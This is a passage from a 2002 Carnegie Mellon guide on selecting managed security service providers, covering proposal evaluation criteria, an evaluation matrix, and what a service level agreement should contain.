will not be long -term survivors [Pescatore 01a]. Copyright 2002 Carnegie Mellon University 44 b. Be aware of special relationships the MSSP has with tiered providers. Evaluate the extent to which such relat ionships have influenced provider product and service recommendations. Be sure these are the right recommendations to satisfy client requirements. VI4: Investment Strategies a. Successful providers need liquidity for business development, research and devel opment, and infrastructure maintenance. A successful provider will have at least 10 percent of its personnel allocated to research and development or be aligned with a SOC provider that does so [Pescatore 01a]. Also look at the provider’s installed base an d the percent of clients who have multi -year contracts [Pescatore 01b]. b. The provider demonstrates a record of investment and innovation in security practices [Armstrong 01]. VI5: References a. When conducting a provider client reference check, ask the foll owing questions: [CIO 01] 1. Is the client still using the service? If not, why not? 2. What services is the client using? What is their configuration, version, and what are their features? Make sure that the client is using a service comparable to the one you a re evaluating. If the client has experienced service version upgrades, ask if the transition to the new version was easy or difficult. 3. How is the client using the service? 4. How did the client choose the provider? What are the strengths and limitations of th e provider’s service? 5. What are some of the problems the client has experienced with the provider and with the service? How has the provider handled these? Have they all been successfully resolved? If not, how are disputes handled? 6. How long did it take to t ransition to the new service? What were the key issues? 7. How is the provider’s customer service? 8. Is there a provider service user’s group? Does the client attend? If not, why not? b. Consider performing background checks and financial viability checks for smaller provider firms [Radcliff 00]. c. Consult other credible, reputable sources of information to establish the viability of the provider’s organization such as 1. Dun & Bradstreet and other credit agency reports 2. analysts of advisory firms such as Gartner, Giga, etc. 3. analysts at securities firms 4. the provider’s competitors and industry opinion leaders to learn what’s being said about the provider in the marketplace 5. current and past provider clients other than those offered as a reference by the provider Copyright 2002 Carnegie Mellon University 45 d. If the mana ged security services can be competently delivered by a provider with whom you have an existing, trusted relationship, seriously consider this provider first [Radcliff 00]. P2.1.2 Client Satisfaction (CS) CS1 : Confirm responsiveness, hours of staff avai lability, and available communication mechanisms (e.g., written, verbal, electronic, face -to-face, secure) with other provider clients who have used similar services. The Hurwitz Group, a technology research and consulting firm, states that “The best way to understand a vendor's commitment to its customers is to examine its service and support practices and policies. Understanding a vendor's service philosophy provides a view into what the ongoing experience with the vendor will be like. Companies need to be sure that the vendor has practices and procedures in place to proactively support customers, and to provide them with information or fixes quickly, sometimes even before the customer may know they need the fix.” They provide the following checklist for purchased software, all of which can be applied to managed security services [Hurwitz 02]: Do look for • around -the-clock (24x7) availability, in multiple languages • multiple communication methods such as web, email, and self -service, not just by telephone • a provider -sponsored community of practice (more than just a user’s group) • bulletin boards, chat rooms, and download sites • opt in subscriptions to problem/fix announcements • support for procedural questions outside of consulting engagements • timely prob lem resolution • published support targets with a high attainment level Watch out for • restricted support hours or languages • different response standards for telephone inquiries versus those entered via the web • procedural and educational issues always res ulting in a consulting engagement • unhappy or nonexistent user groups • attempts by the provider to keep users apart • no procedure for proactively notifying clients of problems • lack of published performance targets, goals, and attainment results P2.1.3 Relationships with Other Parties (RO) RO1: Evaluate the provider’s reliance on tiered (third party) providers to provide the requested service(s). [BITS 01 , Section 4, p 19 ] a. Identify and review all provider dependencies. b. Verify the process the provider ha s in place to review tiered providers’ security policies and procedures. Copyright 2002 Carnegie Mellon University 46 c. Review the provider’s service record and experience with tiered providers. d. Review the provider’s issue notification, communication, and contingency plans for tiered providers. e. Evaluat e interoperability security between the provider and any tiered providers. f. Evaluate the extent to which written permission from the client is required for a tiered provider to access and use client data. RO2: Evaluate the types of contractual arrangement s in place to assure that both the provider and its critical tiered providers (e.g., the SOC provider) have long -term commitments to each other to minimize the chance of abandoning the client [Pescatore 01a]. RO3: Evaluate what impact the provider will h ave on other provider relationships that already exist in the client’s operational environment [BITS 01, Section 4.3, p 21]. a. Review access control, security, and privacy requirements from previously established provider relationships to evaluate whether an y of them are affected by the new relationship. b. Review network configurations to assess whether logical or physical separations are required between provider connections and access points. c. Review existing provider contract terms to evaluate whether any are affected by the new provider relationship. d. Review existing insurance terms and conditions to evaluate whether any are affected by the new provider relationship. RO4: Does the provider have relationships with ISPs to handle upstream reporting of attacks or probes and scans? When there are issues to be reported and coordinated, choosing a provider that has close ties to upstream providers is a benefit. A provider’s close relationship to an ISP will make it easier to deal with and control scans, probes, and denial -of-service attacks carried out against provider and client systems. Larger providers have close relationships with the large ISPs and use their relationships as leverage to help the client deal with such problems. P2.1.4 Independent Evaluations (I E) IE1: Determine if the provider and their tiered providers have one or more evaluation reports that can be used to demonstrate satisfaction of RFP requirements. Are the reports from the current -year? Were the evaluations independently conducted? Report s need to address testing of general and technology -based requirements (attributes and practices) for services specified in the RFP and at the site where services will be performed. In the event that the third -party evaluation report does not address the scope or location of the services being processed, the client should retain the right to evaluate the facility, the operational environment, implementation of certain policies, and adherence to client -specific policies, procedures, and practices [BITS 01, Section 4.1, p 20]. Based upon the level of risk associated with the services to be performed, the client may require an additional review of the provider’s hardware, software, processes, and practices. [BITS 01, Section 4.1, p 19] Copyright 2002 Carnegie Mellon University 47 IE2: The client shoul d verify that applicable service requirements are satisfied based on actual test results. The client should determine if the report is for the current year, if there have been any changes to the infrastructure or configuration of the systems and networks s ince the last review or test, and whether the location and operational environment associated with the tested services are materially the same. If so, these service components should undergo a further review to ensure that the provider has maintained integ rity. It is critical that the client verify that the reviewed systems and infrastructure are the same as those that will be hosting the requested services. [BITS 01, Section 4.1, p 20] IE3: A thorough provider security review includes testing the operati onal services environment (i.e., where the requested services will be installed and performed). A range of audit, assessment, evaluation, and penetration test approaches are available. However, depending on the service to be outsourced, the cost of such a review may be prohibitive. It is important to understand the level of risk involved in using the outsourced service and whether it operates within a shared or dedicated processing environment. For a business -critical service that handles sensitive data, a thorough test should be conducted. As the level of risk decreases, alternative approaches may be considered. They may include any subset of the guidelines included below, as well as system scans, vulnerability research and identification, and references f rom other clients. [BITS 01, Section 4.1, p 19] IE4: The types of tests should require written sign -off by the client and the provider because of the potential for service disruption, financial loss, and the triggering of certain automatic security respo nses. Tests and test results should include [BITS 01, Section 4.1, p 21] a. security policies and procedures b. physical security c. external network penetration attempts d. internal penetration attempts e. vulnerability assessments f. attempts to gain access through social engineering techniques g. a complete report of attacks and tools used, findings, and recommendations h. a follow -up review to confirm that recommendations were implemented i. a determination of whether testing was performed for each service attribute and security practice IE5: If the provider performs internal evaluations, the client may want to evaluate the process used to conduct these reviews and the results produced. IE6: The selection and use of independent evaluators should be mutually acceptable. A writt en agreement between all parties grants evaluation permission and specifies that the evaluator may not disclose any of the proprietary information of the provider or client. Give the provider advance notice and details of the review’s scope to minimize any impacts to availability, service levels, client satisfaction, etc. Share results with the provider within a specific time frame after an evaluation is performed. Discuss and mutually determine items that may need resolution and/or develop plans and proced ures to address any changes suggested by the evaluation. [BITS 01, Section 4.1, p 20] Copyright 2002 Carnegie Mellon University 48 P2.1.5 Personnel (PR) PR1: The provider should have expertise and significant current business in the client’s vertical market. [Radcliff 00] PR2: Successful provid ers are those that demonstrate mastery in the business issues of providing quality MSS rather than those with solely the most in -depth security expertise [Pescatore 01a]. Successful providers have skills and depth in many areas outside of information and n etwork security [Pescatore 02]. PR3: Management experience in this type of service is evident and includes facility development and management, brand development and marketing, device monitoring, software development, and managing service line margins. L ook for past experience in service bureaus, outsourcers, online services, and financial services [Pescatore 01b]. PR4: Watch out for providers that have lots of technical knowledge but little understanding of methodologies or business practices [Radclif f 00]. PR5: A provider can allocate service support staff on a round robin basis by alert (like a help desk) or can dedicate staff to a specific client (the latter option is preferable). A dedicated analyst can provide better advice about the ongoing manag ement of all security services for a particular client. PR6: “Properly staffing a SOC seat around -the-clock requires six full -time security management engineers. This is required to cover all hours in the day including vacation, sick leave, training, etc .” [ISS 01] Ensure the provider has adequate and qualified staff to cover SOC operations around -the-clock and year -round (24x7x365). PR7: Evaluate the provider staff need -to-know and the appropriate level of authority they need to have in order to access client data [Alner 01]: a. Identify the people who are required to sign confidentiality agreements, the staff roles they hold, and the purpose of the agreements. b. Identify the requirements for provider staff bonding and under what conditions bonding is requir ed. c. Identify the provider staff members who require privileged access and the rationale for this access PR8: Ensure that the provider’s due diligence with respect to personnel policies and procedures meets client requirements. P2.1.6 Asset Ownership (AO ) AO1: The provider identifies assets that will be used in providing client services and who owns them. Assets include networks, systems, software, hardware, source code, processes, concepts, policies, reports, logs, evaluation results, other data, and t he like. This includes assets existing prior to the contractual relationship and assets acquired and created during the contract’s performance. The provider identifies which data belongs to the client and which data requiring client access belongs to the provider. This is important because the data owner determines the access rights. Copyright 2002 Carnegie Mellon University 49 As an example, the ownership of policies and procedures can become an issue. If the provider writes policies and procedures for the client but owns the copyright, the client cannot change them without approval from the provider. [Alner 01] AO2: The provider describes how assets will be transitioned at the end of the contract where ownership is retained by the provider but where ongoing client use is required. This includes such assets as software licenses obtained by the provider on the client’s behalf. P2.1.7 Contractual Exception, Penalties, and Rewards (CE) CE1: Evaluate the provider’s standard c ontract language and clauses to make sure they are both sufficient to meet client requirements, including requirements mandated by regulatory and legislative bodies. (Refer also to P1.3.1 Security Policies and Regulations.) If the language or the contract clauses are not sufficient to meet client requirements, then address the de ficiencies and choose remedies during the negotiation of the contract. Refer to Practice 3 for further details. P2.1.8 Service Level Agreement (SA) SA1: The provider offers well -defined SLAs with clear measurement criteria and financial penalties for no n-performance [Armstrong 01]. SA2: Ensure that the provider’s SLA addresses client requirements and that the process for its modification allows for new or tailored client -specific requirements to be included. P2.1.9 Exit Strategy (ES) ES1: Evaluate t he provider’s standard contract language and clauses to make sure those addressing contract termination are sufficient to meet client requirements. If not, address deficiencies and remedies during contract negotiation. Refer to Practices 3 and 6 for furthe r details. P2.1.1 0 Site Visit (SV) SV1: “Visit the provider’s SOC and take your best security/technical person with you. Don’t just do a physical walkthrough – ask to have your security person sit next to their specialists and see the technology and pro cess. If the vendor tells you they keep visitors ‘behind the glass’ for security reasons, there may be something they aren’t comfortable sharing.” [James 02]. SV2: Develop a site visit checklist to include all applicable business attributes, service attributes, and security practices that can be reviewed and demonstrated in accordance with the provider’s proposal. Identify and communicate any additional requirements or demonstration scenarios that are not called for in the RFP that you intend to examine. P2.1.1 1 Implementation Plan (IP) IP1: Evaluate the provider’s implementation plan to make sure it meets client requirements. Refer to Practice 4 for further details. Copyright 2002 Carnegie Mellon University 50 P2.1.1 2 Points of Contact (PC) PC1: The provider identifies points of contact who w ill serve as the primary interface between the two organizations for proposal evaluation and service level agreement (SLA) preparation and negotiation. These points of contact may not be the people responsible for managing the day -to-day client/provider in terface once the contract is signed. P2.2 Service Attributes Service attributes are a second element of client requirements. They describe the quality of service to be provided and levels of service performance to be met and include • Top-level Security Re quirements (SR) • Service Availability (SY) • Service Architecture (ST) • Service Hardware and Software (HS) • Service Scalability (SS) • Service Levels (SL) • Reporting Requirements (RR) • Service Scope (SP) • Cost (CO) To qualify, a proposal must demonstrate how the pr ovider will ensure compliance with all service attributes during the execution of the contract, as presented in the client’s RFP. The client needs to evaluate the provider’s proposal to make sure it meets client requirements (refer to P1.2 Service Attribut es). Guidelines for evaluating specific provider service attributes are presented below. P2.2.1 Top-level Security Requirements Refer to P1.2.1. P2.2.2 Service Availability (SY) SY1: Ensure that provider staff coverage and expertise match service avail ability requirements. SY2: Evaluate service availability features and the role each feature plays in satisfying overall service availability requirements [BITS 01, Section 4.4, p 21]. SY3: Ensure that the service outage time caused by the provider is c alculated from the moment of client impact until the service is fully restored with no initial outage time exclusions [Nicolett 02]. Copyright 2002 Carnegie Mellon University 51 Review the following outage conditions and evaluate whether or not they are acceptable [BITS 01, Sections 4.4.1 -4.4.3, p 21-22]: a. regularly scheduled time periods when the service is not available b. how scheduled service software and hardware maintenance affect service availability SY4: Understand how additional service volume created by a new client affects both client and provider system performance and availability, and if this is acceptable. [BITS 01, Sections 4.4.1 -4.4.3, p 21 -22] SY5: Review the provider’s historical statistics about system availability and response times for the requested service and evaluate their acceptability. They can be used as a predictor of future performance. P2.2.3 Service Architecture (ST) ST1: Evaluate the provider’s architectural features for high availability and operational redundancy. [BITS 01, Section 4.4.4, p 22] ST2: The provid er adequately demonstrates that clients do not compromise each other’s processing environment or data. If provider computers such as servers and storage devices are shared with multiple clients, the provider demonstrates how they ensure that no client can access another’s data, systems, and networks. [Alner 01] ST3: Evaluate how the provider’s service solution integrates with the client’s in -house security devices and technologies. It is highly desirable to achieve ROI on currently implemented service app roaches to the greatest extent possible. [Armstrong 01] ST4: “Pay attention to how the provider manages network connectivity, bandwidth, carrier relations, and device health. If the provider cannot show best practice - based policies and procedures for its own systems, you cannot be certain that those systems will be able to serve your company.” [ISS 01] P2.2.4 Service Hardware and Software (HS) HS1: Verify that the provider’s service hardware and software solutions are compatible with the client’s operat ional environment. HS2: The provider augments off -the-shelf monitoring tools with in -house technology for security management and monitoring. Both are needed since no commercial solution available today can handle the demands of monitoring thousands of security devices from a wide range of providers [Pescatore 01a]. HS3: Review and understand the provider’s process for maintenance of service hardware and software, including how often maintenance is performed for provider site and client site assets and how the provider reports the outcomes of maintenance activities. P2.2.5 Service Scalability (SS) SS1: Evaluate the ability of the provider’s service architecture to provide and support growth in the client’s capacity requirements [BITS 01, Section 4.4. 5, p 22]. Copyright 2002 Carnegie Mellon University 52 P2.2.6 Service Levels (SL) Refer to P1.2.6. P2.2.7 Reporting Requirements (RR) Refer to P1.2.7. P2.2.8 Service Scope (SP) SP1: To lower initial risk and learn how to best work with a new provider, consider implementing the smallest, most well -defined, least intrusive service/service feature first, gradually adding in more service capability over time. Look for providers that allow such incremental changes in client service coverage. [DeJesus 01] P2.2.9 Cost (CO) CO1: Cost depends heavi ly on contracted services, service levels, bandwidth, the number of computers being monitored, and the like. Simple monitoring and notification is usually least expensive, since it is largely automated. Analysis costs more, depending on the level. Response costs more still, since that almost always involves human decisions and actions. CO2: Economies of scale allow providers to be cost -competitive. If a provider is monitoring 10,000 networks, adding one more is not going to require a major upgrade in reso urces. Monthly fees as low as $1,000 are not unusual; at the higher end, expect to pay the equivalent of one salaried IT professional. CO3: Most providers charge a monthly or yearly subscription fee that provides a specific level of service. The fee ofte n depends on how many servers the provider is protecting, the quality of service, and the speed. There may be additional fees for a provider’s initial analysis of a client’s security posture and for any non - routine customization. CO4: Ensure that the pro vider’s proposed solution does not cost more than the value of the client assets being protected. P2.3 Security Practices Security practices are a third element of client requirements. The provider’s proposal must demonstrate that their services meet or ex ceed the client’s security policies and procedures and that all security practices are effectively implemented and in use, as specified in the RFP. This includes demonstrating that • the provider’s network and system infrastructure is well secured, as well a s that of any tiered providers to whom they subcontract • the client’s network and system infrastructure remain well secured when the provider’s service is deployed Keep in mind that specific practice implementations vary depending on the provider’s operat ional environment and the service being provided. Guidelines for evaluating specific provider security practices are presented below. Copyright 2002 Carnegie Mellon University 53 Practice topics include • Security Policies, Procedures, and Regulations (PP) • Contingency Planning; Operational and Disast er Recovery (DR) • Physical Security (PS) • Data Handling (DH) • Authentication and Authorization (AA) • Access Control (AC) • Software Integrity (SI) • Secure Asset Configuration (SC) • Backups (BU) • Monitoring and Auditing (MA) • Incident Management (IM) P2.3.1 Security Policies, Procedures, and Regulations (PP) PP1: Evaluate the provider’s non -compliance with security policies specified by the client as well as any conflicts between the client’s and provider’s (and any tiered provider’s) security policies, procedures, and regulations. If issues arise, ensure they can be resolved in the SLA. [Alner 01] PP2: Verify that provider policies and procedures are enforced and that consequences for non -compliance are clearly stated. P2.3.2 Contingency Planning; Operational and Disaster Recovery (DR) DR1: Evaluate the recovery time objective for the provider to restore systems. Also determine the average time delay between system restoration and service availability. Determine that times have been demonstrated in testing and t hat they are acceptable. [BITS 01, Section 4.7, p 22] DR2: Evaluate if the provider has established “preferred priority restoration” with other clients of their services. [BITS 01, Section 4.8, p 23] a. Determine if other clients have contracted for recover y priority. b. Determine the estimated restoration window for the system with preferred priority restoration and without this priority. c. Determine the probability of other clients declaring a disaster simultaneously. d. Evaluate the contingency plans in place to support multiple clients’ recovery events. DR3: Evaluate the provider’s capabilities for notifying you of a service outage including [BITS 01, Section 4.9, p 23] a. the provider’s procedures for notifying the client in the event of planned and unplanned ou tages. b. procedures and timeframes for problem reporting and escalation, for both the provider and the client. Refer also to P1.2.2 Service Availability and P1.2.7 Reporting Requirements. Copyright 2002 Carnegie Mellon University 54 DR4: Review the provider’s reliance on tiered providers to provide a recovery environment. Evaluate [BITS 01, Section 4.10, p 23] a. if the tiered providers are capable recovery service providers b. if the provider has had to declare a disaster requiring the activation and use of a tiered provider’s resources, and how well the effort succeeded c. certifications and capabilities of provider’s tiered providers including having physical security at least comparable to the security of the provider’s operational site [Alner 01] d. if the provider can leverage the client’s existing relati onship(s) with other tiered providers e. the conditions under which a tiered provider site would be activated f. the level of access required for a tiered provider site DR5: Review the provider’s documented recovery procedures for both individual systems used in day -to-day service and a full site outage. [BITS 01, Section 4.11, p 23] a. Evaluate the differences between operational and disaster recovery. b. Evaluate the suitability of the provider’s disaster recovery site as a client DR site in the event of a local di saster. DR6: Review recent recovery testing efforts, including the scope and results of the test. [BITS 01, Section 4.12, p 23 -24] a. Evaluate if the requested services have been tested successfully and how frequently services are tested. b. Evaluate the scope of tests including depth (such as operating system, service software, service databases, network) and breadth (such as operational, disaster). c. Determine if testing is certified by an independent third party and, if so, review the certification. d. Determine if there have been significant upgrades or other changes to relevant systems since the last time they were tested that would require retesting. e. Verify that the client can choose to be involved in testing the disaster recovery plan on a regular basis [Alner 01]. DR7: Evaluate if the provider supports a dual, high -availability environment in the event of a natural disaster and interruptions in local/regional utility service (for example, communications, gas, electric, sewer, water). If the provider is locat ed in an earthquake zone, flood plain, or hurricane/tornado area, evaluate risk mitigation approaches in the service site’s physical construction and operation. [BITS 01, Section 4.4, p 22] DR8: If tiered provider sites (or elements of the provider’s org anization/site delivering service) are located outside of the client’s primary country of operation, evaluate how readily services can be transferred from international sites to secondary recovery sites, both within and outside of the provider site’s count ry. Copyright 2002 Carnegie Mellon University 55 DR9: Consider integrating the provider’s BC/DR plan into the client’s own business continuity plan. [BITS 01, Section 4.5, p 22] a. Verify that emergency response procedures are in place to help ensure timely relocation of key personnel. b. Verify that client service relocation procedures support proper client notification and status support. c. Verify that the plan is updated as needs change. [Alner 01] P2.3.3 Physical Security (PS) PS1: Confirm by a site visit that physical security requirements are sati sfied and physical security practices are being followed. P2.3.4 Data Handling (DH) Refer to P1.3.4. P2.3.5 Authentication and Authorization (AA) Refer to P1.3.5. P2.3.6 Access Control (AC) Refer to P1.3.6. P2.3.7 Software Integrity (SI) Refer to P1.3 .7. P2.3.8 Secure Asset Configuration (SC) Refer to P1.3.8. P2.3.9 Backups (BU) Refer to P1.3.9. P2.3.10 Monitoring and Auditing (MA) Refer to P1.3.10. P2.3.11 Incident Management (IM) Refer to P1.3.11. P2.4 Evaluation Matrix Consider making an eva luation matrix (as shown in Table 2) to support the evaluation of the proposal. Construct it using the same entries as the RFP checklist described in Section P1.5. You may need to add sub -entries under each attribute or practice to create a complete matrix . Include some form of this evaluation matrix in the RFP to help convey the client’s priorities and requirements. This should help ensure more responsive proposals. Copyright 2002 Carnegie Mellon University 56 Table 2: MSS Proposal Evaluation Matrix RFP Requirement Relative Weight (scale of 1-10) Points Awarded Meets Reqmts. (yes/no) Comments P2.1 Provider Business Attributes P2.1.1 Viability (VI) P2.1.2 Client Satisfaction (CS) P2.1.3 Relationships with Other Parties (RO) P2.1.4 Independent Eval uations (IE) P2.1.5 Personnel (PR) P2.1.6 Asset Ownership (AO) P2.1.7 Contractual Exception, Penalties, and Rewards (CE) P2.1.8 Service Level Agreement (SA) P2.1.9 Exit Strategy (ES) P2.1.10 Site Visit (SV) P2.1.11 Implementation Plan (IP) P2.1.12 Points of Contact (PC) P2.2 Provider Service Attributes P2.2.1 Top -level Security Requirements (SR) P2.2.2 Service Availabil ity (SY) P2.2.3 Service Architecture (ST) P2.2.4 Service Hardware and Software (HS) P2.2.5 Service Scalability (SS) P2.2.6 Service Levels (SL) P2.2.7 Reporting Requirements (RR) P2. 2.8 Service Scope (SP) P2.2.9 Cost (CO) P2.3 Provider Security Practices At Provider Site P2.3.1 Security Policies, Procedures, and Regulations (PP) P2.3.2 Contingency Planning; Operational and Disaster Recovery (DR) P2.3.3 Physical Security (PS) P2.3.4 Data Handling (DH) Copyright 2002 Carnegie Mellon University 57 P2.3.5 Authentication and Authorization (AA) P2.3.6 Access Control (AC) P2.3.7 Software Integrity (SI) P2.3.8 Secure Asset Configuration (SC) P2.3.9 Backups (BU) P2.3.10 Monitoring and Auditing (MA) P2.3.11 Incident Management (IM) P2.3 Provider Security Practices At Client Site P2.3.1 Security Policies, Procedures, and Regulations (PP) P2.3.2 Contingency Planning; Operational and Disaster Recovery (DR) P2.3.3 Physical Security (PS) P2.3.4 Data Handling (DH) P2.3.5 Authentication and Authorization (AA) P2.3.6 Access Control (AC) P2.3.7 Software Integrity (SI) P2.3.8 Secure Asset Configuration (SC) P2. 3.9 Backups (BU) P2.3.10 Monitoring and Auditing (MA) P2.3.11 Incident Management (IM) P2.4 Case Studies Service Scenarios Market Position Copyright 2002 Carnegie Mellon University 58 Copyright 2002 Carnegie Mellon University 59 Practice 3: Content Guidance for an MSS Service Level Agreement The SLA contains “…contractually binding clauses documenting the performance standard and service quality agreed to by the client and the provider. The SLA’s primary purpose is to specify and clarify performance expectations, establish acc ountability, and detail remedies or consequences if performance or service quality standards are not met.” [BITS 01, Appendix 4, p 62] In effect, the SLA is an agreement between the client and the provider quantifying the minimum acceptable service from the client’s perspective [Hiles 02]. The SLA is probably the most important document in a MSS client/provider relationship. An SLA, when properly written, is distinguished by clear, simple language and a focus on the needs and wants of the client’s busines s [CIO 01]. Creating a sound, mutually agreeable SLA is a matter of due diligence by both parties. A provider typically has developed an SLA that they are comfortable with, based on service level measurement averages across a range of clients. Providers w ant clients to accept their SLA as the contractual agreement. “All too often, provider service -level agreements have the facade of service assurance, but in reality, they are designed to limit the liability of the provider. Providers that construct SLAs to protect their revenue stream commonly use a combination of nonspecific or unmeasurable service indicators13, exclusions that negate what appear to be rigorous service commitments , and penalties that are capped at a small percentage of the provider's revenu e.” [Nicolett 02] “An SLA is a binding contract which specifies the provisioning of performance and service quality parameters between two legal entities (the provider and the client). Don’t simply sign off on a service provider draft. Engage a lawyer fam iliar with commercial law as well as new economy law (including intellectual property), and have the lawyer co-develop the SLA with your service provider and their legal counsel.” [NM 01] Clients should go into the negotiation process with their own SLA a s the starting point, taking the provider’s proposal into account. The client’s SLA should be aligned with their own critical assets, protection strategies, policies and procedures, and should be defined to satisfy confidentiality, integrity, and availabil ity requirements. Clients need to determine the most critical aspects of a service and then ensure that SLAs are defined and negotiated to address them. These are likely to include service security, service levels, service response times, infrastructure u ptime/downtime, network performance, scalability, reporting, client and client customer satisfaction, overall end -to- end performance of service features, and escalation processes. 13 For example, “Many SLAs specify service -level calculations that are based on broad averages of site availability. Service -level measurements that are based on broad averages tend to mask the measurement of limited, but damaging, outages of a small number of critical applications.” [Nicolett 02] Copyright 2002 Carnegie Mellon University 60 The SLA defines the roles of both the client and the provider. As a result, the client understands exactly what they are expected to do and what the provider is agreeing to do on the client’s behalf. The SLA should be as precise as possible. It needs to define what client resources the provider will be accessing and what function s the provider may perform on these resources [Navarro 01]. It is critical to involve all client stakeholders who will be responsible for ensuring SLA compliance in the SLA development process. This includes IT and security staff members. “Where several suppliers are involved in the end -to-end delivery of a service, back -to- back SLAs are necessary so the lead supplier can provide an end -to-end SLA to the customer. These back -to-back SLAs may also be known as tiered SLAs or multi -tiered SLAs.” [Hiles 02] To the extent contractually possible, all guidelines described below should be applied to all tiered providers involved in delivering service. Where this is not possible, the provider must describe to the client how the tiered provider will be held accoun table for all service level agreement requirements in which they participate. Clients should consider inserting a contract or SLA clause stating that the primary provider remains accountable for any damages or sub -par performance caused by tiered providers . The overall contract between client and provider includes the SLA. In addition to covering SLA contents, this practice provides guidance on other security -related contract content that is typically outside the scope of the SLA. At a minimum, an SLA defi nes service specific performance measures (primarily described in P3.3). Some of the guidelines contained in P3.2 Business Attributes are appropriate for an SLA and some may be more appropriate for other sections of a client/provider contract. Similarly, P 3.4 Security Practices describes the quality of operational security practice expected from the provider when they are the custodian of the client’s information assets, regardless of the specific service. Again, some of these guidelines may be more appropr iate for other sections of a client/provider contract. Regardless, for this practice, all requirements are described as being part of a service level agreement. It remains for the client and provider to determine how best to present this information in a c ontractual form. A note on terminology: The literature uses the term “SLA” to connote the overall agreement/contract on service level scope, function, and performance as well as individual, detailed measurements for each service requirement. In this pract ice, we use the former definition. Individual measurements are referred to as service levels, service level measurements, or service agreements, and do not use the SLA acronym. Copyright 2002 Carnegie Mellon University 61 P3.1 General SLA Guidelines A Service Level Agreement should contain the foll owing sections: 1. Executive Summary: This is an overview and description of the document’s purpose, which is generally to perform the services described and meet or exceed individual service agreements that have been negotiated. The summary includes the agr eement’s duration and identifies the client’s key stakeholders and owners responsible for managing each service and ensuring service agreements are met. 2. Service(s) Description: This section contains a detailed description of services and the negotiated ser vice agreements associated with each. There is one subsection for each category of service (for example, firewall management, intrusion detection system management, remote access, and vulnerability assessment). There are additional subsections for business attributes or security practices that are service -independent or span multiple services. Service Level Definitions: For each service, key service descriptors should be included as follows: a. Definition: A precise, unambiguous description of the service th at is being performed, measured, and reported.14 b. Measurement time frame: Points in time (days, dates, and times) when service measurements are to be made. Indicate if the scope includes all 365 days of the year or if selected days are excluded. Describe th e timeframe (typically days or weeks) over which measurements are to be made such that the client can then determine if the service agreement is exceeded, met, or not met. c. Responsibilities: Specific roles and responsibilities of client and provider that need to be fulfilled to comply with service agreements. Identify who is responsible for making each measurement and how each measurement is validated. Identify primary and secondary points of contact for both organizations as well as all tiered providers. d. Service level metrics: 1) Measurements and measurement ranges for the contracted service such as service availability or response times.15 Typically, service levels are described as percentages. However, providers need to propose measurements stated in client business performance terms, with client assistance. 14 For example, “To provide a comprehensive managed security solution that allows remote employees and business partners to connect to the internal network and data r esources using an IP -VPN.” [NM 01] 15 For example, “In an SLA for Internet access, you may list the acceptable range for availability as between 99.9 to 99.999 per cent. If you are buying technical support services, you may list the acceptable range for res ponse time as between four to six hours after a support call is initiated.” [NM 01] Copyright 2002 Carnegie Mellon University 62 2) Watch for service level metrics that are calculated based on the aggregate performance of multiple assets (such as multiple servers). Average performance across multiple assets will rarely fall below agreed-upon levels even if critical assets are not performing acceptably. Make sure that service level metrics for critical assets are individually identified. 3) Where a service level range is acceptable, consider specifying a desired service level as well as a minimum acceptable (worst case) level, with rewards and penalties tied to each. 4) For service levels that are difficult to determine in advance without some supporting operational experience, consider a specified timeframe of pilot implementation and revi ew before they are documented in an SLA. e. Measurement formula: This describes the mathematical measurement equation to be used and an example. Identify any performance monitoring/measurement tools used by the provider and document client confirmation that t hese tools are acceptable. f. Shared services: When multiple clients share provider service resources, overconsumption by one client may affect the performance of another. This can be addressed with a provider guarantee of adequate capacity, implementation of blocking when demand exceeds established limits, or by the option to purchase exclusive access to the service. g. Data sources: This describes where measurement data is collected, what is collected, where it is collected, how it is stored, and who is respons ible for collecting it. h. Escalation activity: When out -of-compliance situations occur, describe who is notified and under what conditions. This includes day -to-day and measurement period situations that are out of compliance, as well as system outages, site outages, and other relevant business continuity and operational/disaster recovery situations. i. Contractual exceptions, rewards, and penalties: This describes all negotiated exceptions, rewards16, and penalties17 that are included in the SLA and apply to this service. Indicate client and provider reporting responsibilities for noting an exception, a reward, or a penalty. 16 For example, “If the service provider over -delivers for one year with no major incident, you may automatically extend an additional year upon the lapse of the contract wi th no need for a new contract.” [NM 01] “Incentives should not be paid for exceeding SLAs unless they can provide true business value. If a vendor introduced a plan for an innovation that improves service and the plan contains a business case that shows sa vings, it may be appropriate to share half of the first year's cost savings with the vendor.” [Nicolett 02] 17 “It is not reasonable to expect [a provider] to agree to ‘total cost of downtime’ penalties, but there should be enough loss of revenue potential in the SLA to provide an incentive to the provider. Providers that are confident in their ability to execute will offer SLAs with accelerating rebate penalties and high penalty caps.” [Nicolett 02] Copyright 2002 Carnegie Mellon University 63 Some providers require client notification in writing, within a given timeframe, to receive penalty payments or credits.18 See also P3.2.7 . j. Reward/penalty formula: This describes the mathematical equation to be used and an example. If the client or provider uses severity or priority codes, these are also described in this section. 3. Service Level Management: Document the following processes ne cessary for managing service levels. Include the event or timeframe that triggers process execution: a. measurement tracking and reporting b. problem escalation and dispute resolution c. service change requests including renegotiating service measurement terms. Make sure to specify that service levels are periodically reviewed and updated to match industry standards [CIO 01]. d. implementing new services and service levels e. service level review process f. approval process 4. Roles and Responsibilities: The section describes general or over -arching roles and responsibilities of all parties that are not covered under Service Level Definitions above. This includes the client, the provider, any tiered providers, and any governance committees or key stakeholders managing this cont ract. As part of their responsibilities, clients should provide • complete and thorough details of the client’s infrastructure architecture and network environment where provider services are to reside • timely, complete information about necessary client c hanges and problems such as network configuration upgrades, problems with Internet connectivity, major discovered vulnerabilities, and unusual network activity 5. Appendices: Appendices include more detailed information that may be relevant. For example, an appendix could discuss provider -supported hardware, software, and chargeback procedures. As part of the SLA creation process, the client ensures and affirms that other SLAs with this same provider do not conflict with the SLA under negotiation [Alner 01]. 18 For example, Verio’s SLA states “Verio will issue a cred it to Customer for Outages occurring during any calendar month, provided such Outages (i) in the aggregate, exceed ninety (90) minutes, (ii) are reported by Customer to Verio, (iii) either (A) are confirmed in the Customer’s monthly IS Services reports as provided on Customer’s IS Services Control Panel, or (B) in the event that Verio’s measurement equipment is inoperable or faulty, can be reasonably demonstrated by Customer to have occurred using industry standard measurement tools.” This SLA later states “In order to receive a credit under this SLA, a request therefore must be made by Customer in writing via the Customer’s IS Services Control Panel.” [Verio] Copyright 2002 Carnegie Mellon University 64 P3.2 Business Attributes Business attributes are one element of client requirements. They comprise characteristics, policies, processes, and procedures that need to be precisely defined and mutually agreed to in the SLAs and the client/provider contract. They include • Viability (VI) • Client Satisfaction (CS) • Relationship with Other Parties (RO) • Independent Evaluations (IE) • Personnel (PR) • Asset Ownership 